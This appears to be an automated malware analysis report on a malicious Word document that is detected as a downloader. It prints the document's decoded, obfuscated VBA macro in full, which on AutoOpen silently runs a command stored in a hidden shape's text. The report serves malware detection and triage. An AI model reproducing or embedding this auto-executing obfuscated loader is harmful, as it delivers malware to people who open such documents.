Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 e8e03a1d179cec3f…

MALICIOUS

Office (OLE)

77.2 KB Created: 2018-11-23 05:41:00 Authoring application: Microsoft Office Word First seen: 2019-01-11
MD5: 55e8ba1c7c89854e3727e5e04ea9558e SHA-1: 0282dc8b0891d9dc14fb17ec9c1e420273fc910d SHA-256: e8e03a1d179cec3fd9bf6dc4b3b9cef35ef6d68cf0ea936702f8764b9c19a1c0
152 Risk Score

Heuristics 7

  • ClamAV: Doc.Downloader.Sagent-6770337-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Sagent-6770337-0
  • Suspicious cmd.exe invocation with execution flag high SC_STR_CMD
    Suspicious cmd.exe invocation with execution flag
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Customizable = True
Sub AutoOpen()
   On Error Resume Next
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2833 bytes
SHA-256: dd7a9197df976d7b6d1e931a0cb02f98de10dadf859172f8b22769db04b40d3d
Detection
ClamAV: No threats found
Obfuscation or payload: likely
86 of 139 identifiers look randomly generated (e.g. 'aRhijomXKlQIfr') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "aRhijomXKlQIfr"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
   On Error Resume Next
      If JkTvk <= KNvZEu Then
      Set ODpVS = FdOuZrz
jQRjDnhcS = DMCiuaX
       Set wVEjiqM = dcupu
 Set lNiwi = AGXmkRRGS
 Set inXBtdt = ibTBJEhdc
   End If
Set pAwwiXr = Shapes("hXoslCRZmvQ")
   On Error Resume Next
      If KLVllihs <= zfELkIJhz Then
      Set XTqAk = FafwbOw
HmrXKwK = MESvIR
       Set CPAjPzW = LlQfDB
 Set WijhEwRmX = qFGmhoMoz
 Set hbfjXlT = mtSGPPhk
   End If
   On Error Resume Next
      If FYufMpbHa <= bJPZP Then
      Set drcwA = jqIfwF
MHFAznF = wPMqv
       Set MfAKkTip = tnturEX
 Set tVfOwWIR = KAibPFEY
 Set KHULmt = cMNEsND
   End If
GnclDIpzza = "" + jdwErE + clcdkZ + vCCJSi + pAwwiXr.TextFrame.TextRange.Text + dfjpr + clbWrEzv
   On Error Resume Next
      If DZzmniORO <= HCWvIXrqW Then
      Set Bjisq = XAkEpF
QtfJOE = kRaEV
       Set qBuXiD = cwUuHvWL
 Set hKECmF = dOdlN
 Set kJaWcZ = GNZmToU
   End If
   On Error Resume Next
      If VwfJOQR <= kHOPfikdz Then
      Set YwqMHLK = uhSHUS
MvmSbO = vMUHilO
       Set SXqzRIhJo = zzVjjc
 Set vzSmwKXI = AirzcYCDP
 Set RUBHimzwb = HLfrTm
   End If
   On Error Resume Next
      If EUAWw <= SERJDqnU Then
      Set DNoOqMi = GvVzzETiw
AtahbfwhX = zCJiU
       Set qSMiEu = ctachUz
 Set iGAmazWlI = IpasEl
 Set ijOBSSlG = znBDRN
   End If
   On Error Resume Next
      If QazLXVWLT <= pobOmz Then
      Set TSLAI = hIQBw
JpjAQiFz = KoRsNnBd
       Set DhjSXJmp = UQDGT
 Set cKVFoKj = zZJdtHuR
 Set iczRzqRa = bWkicD
   End If
Interaction.Shell! GnclDIpzza, 0
   On Error Resume Next
      If iXLaizjLJ <= MSaGLNGz Then
      Set DmMPzMr = nlwCCHKkH
mjKoi = PhMMvc
       Set ATccKSION = zvZNmJKPW
 Set IUQKO = wAQAi
 Set Lqvja = zSzqZrK
   End If
   On Error Resume Next
      If rsMiOIWiY <= WhVSUliR Then
      Set AUkEOiTwf = YaOSF
ZitlNj = zEcAIV
       Set dAqZzdGo = zvMqfANHO
 Set DuCkjd = ElzmdK
 Set wZXjpVb = lluqB
   End If
   On Error Resume Next
      If CzvpZJTzt <= dikOTR Then
      Set KOhWK = hIXTS
Qtkpbaok = oZaAMw
       Set zwNnCDX = zaroOjC
 Set AKcUspJni = oWpGVzMC
 Set ZGfmN = NrAiAVj
   End If
   On Error Resume Next
      If mwaYF <= wfVMCt Then
      Set WfIZT = AGijsi
dmHWFY = mJNrS
       Set MjnRwQwN = cphFarvD
 Set hunlKX = HdsSMSRGj
 Set TSQkc = EsJRozwJ
   End If
   On Error Resume Next
      If NwMNOY <= KHItOlRj Then
      Set wQzlhLhMz = bpcwjZ
pnlYsjXj = Qzibw
       Set LWQnpPkBQ = NwzwiJZUj
 Set dwYFhcFZv = dXTiiFiw
 Set PElUYimZ = ZHaOsCSM
   End If
End Sub

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